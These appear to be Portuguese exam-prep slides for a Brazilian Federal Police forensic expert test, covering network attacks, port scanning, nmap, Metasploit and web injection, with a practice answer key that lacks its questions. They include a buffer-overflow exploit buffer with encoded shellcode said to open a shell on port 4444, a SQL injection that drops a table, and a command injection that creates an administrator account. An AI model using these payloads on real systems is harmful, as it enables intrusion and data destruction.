Explora o prognstico do nmero de seqncia (sequence number
prediction) do three-way handshake;
O atacante ca entre o cliente e o servidor, podendo assim alterar
toda a comunicao entre eles;
O atacante envia informaes inltrando-se nas conexes, baseado
na descoberta do nmero de seqncia dessas conexes.
Ataques coordenados
Ataque de negao de servio distribudo, ou Distributed Denial-of-Service
(DDoS);
Diculdade de descobrir a origem dos ataques: milhares de origens do
ataque;
Botnets - Redes de zumbis (bots) que atendem a comandos de uma central
de comando e controle (C2), realizando ataques contra alvos
determinados pelos seus mestres
Todos os zumbis e os alvos de seus ataques so vtimas.
Buffer Overow
Explorao de uma falha na aplicao, onde uma
varivel do programa pode expor outras reas da
memria ao hacker, permitindo sua manipulao, mesmo
remota, com o carregamento de cdigos maliciosos.
Muitas tcnicas auxiliam na descobertas destas
vulnerabilidades, tornando-se cada vez mais comuns
#buffer = "A" * 2000
buffer="\x41"*969
buffer+="\xed\x1e\x94\x7c"
#buffer+="\7c" + "\94" + "\1E" + "\ED"
#buffer+="\x42" * 4
buffer+="\x43" * 16
buffer+="\x90" * 16
buffer+=("\xb8\x52\x1c\x20\xa1\xd9\xe1\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x56\x83\xc2\x04\x31\x42\x0f\x03\x42\x5d\xfe\xd5\x5d\x89\x77"
"\x15\x9e\x49\xe8\x9f\x7b\x78\x3a\xfb\x08\x28\x8a\x8f\x5d\xc0"
"\x61\xdd\x75\x53\x07\xca\x7a\xd4\xa2\x2c\xb4\xe5\x02\xf1\x1a"
"\x25\x04\x8d\x60\x79\xe6\xac\xaa\x8c\xe7\xe9\xd7\x7e\xb5\xa2"
"\x9c\x2c\x2a\xc6\xe1\xec\x4b\x08\x6e\x4c\x34\x2d\xb1\x38\x8e"
"\x2c\xe2\x90\x85\x67\x1a\x9b\xc2\x57\x1b\x48\x11\xab\x52\xe5"
"\xe2\x5f\x65\x2f\x3b\x9f\x57\x0f\x90\x9e\x57\x82\xe8\xe7\x50"
"\x7c\x9f\x13\xa3\x01\x98\xe7\xd9\xdd\x2d\xfa\x7a\x96\x96\xde"
"\x7b\x7b\x40\x94\x70\x30\x06\xf2\x94\xc7\xcb\x88\xa1\x4c\xea"
"\x5e\x20\x16\xc9\x7a\x68\xcd\x70\xda\xd4\xa0\x8d\x3c\xb0\x1d"
"\x28\x36\x53\x4a\x4a\x15\x3c\xbf\x61\xa6\xbc\xd7\xf2\xd5\x8e"
"\x78\xa9\x71\xa3\xf1\x77\x85\xc4\x28\xcf\x19\x3b\xd2\x30\x33"
"\xf8\x86\x60\x2b\x29\xa6\xea\xab\xd6\x73\xbc\xfb\x78\x2b\x7d"
"\xac\x38\x9b\x15\xa6\xb6\xc4\x06\xc9\x1c\x73\x01\x07\x44\xd0"
"\xe6\x6a\x7a\xc7\xaa\xe3\x9c\x8d\x42\xa2\x37\x39\xa1\x91\x8f"
"\xde\xda\xf3\xa3\x77\x4d\x4b\xaa\x4f\x72\x4c\xf8\xfc\xdf\xe4"
"\x6b\x76\x0c\x31\x8d\x89\x19\x11\xc4\xb2\xca\xeb\xb8\x71\x6a"
"\xeb\x90\xe1\x0f\x7e\x7f\xf1\x46\x63\x28\xa6\x0f\x55\x21\x22"
"\xa2\xcc\x9b\x50\x3f\x88\xe4\xd0\xe4\x69\xea\xd9\x69\xd5\xc8"
"\xc9\xb7\xd6\x54\xbd\x67\x81\x02\x6b\xce\x7b\xe5\xc5\x98\xd0"
"\xaf\x81\x5d\x1b\x70\xd7\x61\x76\x06\x37\xd3\x2f\x5f\x48\xdc"
"\xa7\x57\x31\x00\x58\x97\xe8\x80\x66\x69\x20\x1d\xfe\xd0\xd1"
"\x5c\x62\xe3\x0c\xa2\x9b\x60\xa4\x5b\x58\x78\xcd\x5e\x24\x3e"
"\x3e\x13\x35\xab\x40\x80\x36\xfe")
buffer+="\xCC" * 630
Acionamento da vulnerabilidade
Cdigo malicioso que criar
uma porta adicional (4444/
TCP) e dar acesso remoto ao
shell do computador
Tipos de shell
Normalmente um ataque buffer overow usado para obter um shell no sistema alvo
Existem dois tipos bsicos
Direct shell - Uma porta aberta no sistema alvo e associada a um shell do
sistema operacional
Reverse shell - O cdigo malicioso que foi executado no alvo estabelece uma
conexo com o computador do atacante e transmite, atravs desta conexo, o
acesso ao shell no sistema alvo
Conseguimos criar um shell (reverso ou direto) com algumas ferramentas, como o
Netcat (comando nc no Linux) que permite algumas outras atividades ou com o
Meterpreter, parte integrante do Metasploit, que capaz de entregar ao atacante um
shell avanado, com algumas funes para simplicar a coleta de informaes no
servidor alvo.
Shell reverso e tunneling
Uma das grandes vantagens do shell reverso a possibilidade de bypass o
rewall local, pois no h necessidade em abrir uma porta no alvo. O alvo se
comunica com o atacante
Contudo, pela existncia de um rewall, pode ser impossvel um ataque a
determinada porta que tenhamos descoberto haver outra vulnerabilidade a
ser explorada.
Nestes cenrios podemos aplicar uma tcnica chamada tunneling, onde
usamos um cliente de SSH no alvo que j obtivemos acesso para redirecionar
o trfego a uma outra porta local (por exemplo 3389/TCP - Remote desktop
no Windows) atrves de um tnel cifrado pelo SSH
Escaneamento
Atividade realizada para descobrir portas e servios nos
hosts alvo
Se feito corretamente pode passar desapercebido para o
administrador da rede
Contudo, sem os devidos cuidados pode aparecer
imediatamente nas telas de IDS/IPS da rede
Three-way handshake do TCP
Three-way handshake do TCP:
O cliente envia uma requisio de conexo pacote SYN;
O servidor recebe o pacote SYN e responde com uma resposta de reconhecimento
(acknowledgement) pacote SYN-ACK;
O cliente reconhece o pacote SYN-ACK pacote ACK;
A conexo estabelecida (three-way handshake);
A troca de dados acontece;
A conexo encerrada com um pacote com ag FIN;
A conexo encerrada de forma anormal com pacote RST.
TCP Connect:
Cliente envia um pacote SYN para a porta;
Caso o servidor aceite a conexo, a porta est aberta;
Caso contrrio, a porta est fechada.
TCP SYN (half open):
Cliente envia um pacote SYN para a porta;
Caso o servidor responda com SYN-ACK, o cliente envia RST a conexo
encerrada antes do seu estabelecimento.
UDP:
Cliente envia um pacote UDP de 0 byte para a porta;
Caso o servidor envie um pacote ICMP Port Unreachable, a porta est fechada;
Caso contrrio, a porta est aberta.
FIN:
Modo stealth, ou seja, so mais difceis de serem detectados;
Pacote FIN enviado para a porta do servidor;
Caso um pacote RST recebido, a porta est fechada.
Null Scan:
Modo stealth;
Pacote FIN, sem nenhum ag, enviado para a porta do servidor;
FIN:
Modo stealth;
Pacote FIN com os ags FIN, PUSH e URG ativados enviado para a porta do servidor;
Idle Scan
Tcnica utilizada para fazer escaneamento oculto
Se baseia na avaliao do contado de pacote IP (IPID) do protocolo TCP/IP
Previamente ele manda um SYN para um host Zumbi e determina qual o IPID atual dele.
O atacante manda um pacote SYN para o alvo, com o IP spoofado do host Zumbi, direcionado a
porta que ele deseja testar se est aberta ou no.
Depois o hacker testa novamente o atual IPID do host Zumbi
Se houve incremendo do IPID ento a porta est aberta, pois o host alvo respondeu para o
zumbi com um SYN-ACK
Se no houver incremento a porta est fechada, pois o host respondeu ao Zumbi com um
pacote RST
Caso haja um IPS no host alvo apenas aparecer os logs dos pacotes do zumbi, mas no do
atacante real
Idle Scan (cont.)
Ferramentas para escanemento
NMAP - A mais popular das ferramentas para
escanemento
Muito verstil, possui diversos recursos para descoberta
de vulnerabilidades e bypass de IDS / IPS
# nmap -A -T4 scanme.nmap.org playground
Starting nmap ( http://insecure.org/nmap/ )
Interesting ports on scanme.nmap.org (205.217.153.62):
(The 1663 ports scanned but not shown below are in state: filtered)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
53/tcp open domain
70/tcp closed gopher
80/tcp open http Apache httpd 2.0.52 ((Fedora))
113/tcp closed auth
Device type: general purpose
Running: Linux 2.4.X|2.5.X|2.6.X
OS details: Linux 2.4.7 - 2.6.11, Linux 2.6.0 - 2.6.11
Uptime 33.908 days (since Thu Jul 21 03:38:03 2005)
Interesting ports on playground.nmap.org (192.168.0.40):
(The 1659 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
389/tcp open ldap?
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
1002/tcp open windows-icfw?
1025/tcp open msrpc Microsoft Windows RPC
1720/tcp open H.323/Q.931 CompTek AquaGateKeeper
5800/tcp open vnc-http RealVNC 4.0 (Resolution 400x250; VNC TCP port: 5900)
5900/tcp open vnc VNC (protocol 3.8)
MAC Address: 00:A0:CC:63:85:4B (Lite-on Communications)
Device type: general purpose
Running: Microsoft Windows NT/2K/XP
OS details: Microsoft Windows XP Pro RC1+ through final release
Service Info: OSs: Windows, Windows XP
Nmap finished: 2 IP addresses (2 hosts up) scanned in 88.392 seconds
NMAP - Opes mais comuns
-sP - Ping Scan - Procura hosts atravs de ICMP
-P0 - No faz mais um ICMP discovery prvio
-sS (TCP SYN), -sT (Connect), -sA (ACK), sU (Scan UDP ports)
-sI - Idle Scan
-p Lista de portas a escanear (se for omitido escanear as chamadas Well Known ports)
-sV - Tenta obter informaes sobre o servio rodando nas portas abertas
-O - OS Fingerprint detection
-T[0-5] - Regula a velocidade dos scans
-f - Fragmentar pacotes
-D - Decoy
-S <ip_address> - Spoofar o IP
Ferramentas para atacar - Metasploit Framework
Consite em um framework completo, com diversos exploit prontos para
uso, ferramentas para descoberta de novas vulnerabilidades, dentre outros
Muito utilizado por hackers, auditores de segurana e estudantes da rea
De simples utilizao (pode at mesmo ser automatizado)
Novos exploits so adicionados diriamente e suas atualizaes so
gratitas
Faz parte da distribuio Linux Backtrack
Ferramentas para ataques em Web App
Nikto
Scanner de vulnerabilidades em servidores WEB
Muito til para descobrir fraquezas e erros de congurao em servidores WEB
Simples de usar
Faz parte do Backtrack
Algumas informaes podem tambm ser obtidas com um telnet paras a porta
do servidor WEB e um comando HTTP (exemplo HEAD/HTTP/1.0 pode retornar
o banner do servidor)
Ataques de injeo
Em algumas situaes possvel injetar informaes em formulrios e alterar o comportamento de uma aplicao. Os
tipos mais comuns so
Injeo SQL - Atua modicando uma requisio legtima de SQL (ex: Fazer a autenticao de um usurio)
para outra a escolha o hacker.
Ex: Consulta SQL normal: select * from user where senha =<Formulario>;
Ao digitarmos no formulrio WEB a consulta abaixo no lugar da senha:
or 1=1 --; droptable(<nome_tabela>);
Ao invs de fazer uma tentativa de login ns apagaremos a tabela de usurios.
Injeo de comandos - Comum em sistemas que executam comandos remotos e pedem o parametro por um
formulrio web (exemplo: traceroute para um destino denido pelo formulrio). Se ao invs do IP fosse
digitado:
; net user /add hacker hacker | net localgroup administrator hacker;
Ao invs de fazermos o traceroute ns criariamos um usurio, com acesso total (pois seria administrador),
podendo conceder acesso via Remote Desktop (se fosse linux bastaria criar um usurio, clocar no grupo root e
acessar via SSH).
Ferramentas para ataques em Web App
Dirbuster
Ferramenta que descobre arquivos hospedados em um servidor
WEB, mesmo que estejam ocultos, com um uso de um arquivo de
dicionrio
Testa o servidor WEB procurando erros. Se tentar acessar
determinado arquivo e receber uma mensagem, dizendo que o
arquivo existe, mesmo que no seja possvel acesso a ele, o
mesmo ser exibido em uma listagem.
Questes para praticar
Resposta: C
Respostas: A,B,C,D. Sam Spade um pacote de ferramentas antigo, que pode fazer ping,
traceroute e outras funes. Cheops uma ferramenta de monitoramento de rede.
Resposta: B
Respostas: A, C, E
Resposta: A - Usurios administradores tem sempre seu RID
(relative identier) comeando com 500
Resposta: D
Resposta: C
Resposta: C
Resposta: C
Resposta: A
Respostas: A e B
Resposta: E
Resposta: D
Resposta: C
Respostas: A e B. Notar que os 8 caracteres so identicos
Resposta: D
Resposta: A
Resposta: D
Resposta: E
Resposta: B - Consultar a tabela ASCII para entender a linha 0B0
Resposta: B
Resposta: C - Converter o nmero para binrio, depois pegar os ltimos 8 bits e converter para decimal,
obtendo o .5
Resposta: A
Resposta: A
Resposta: A
Reviso de provas da PF
FIM

PF Perito Criminal

Cargado por

Información del documento

Título original

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

PF Perito Criminal

Cargado por

Copyright:

Formatos disponibles

Curso Multiplus

Preparatrio para prova da

También podría gustarte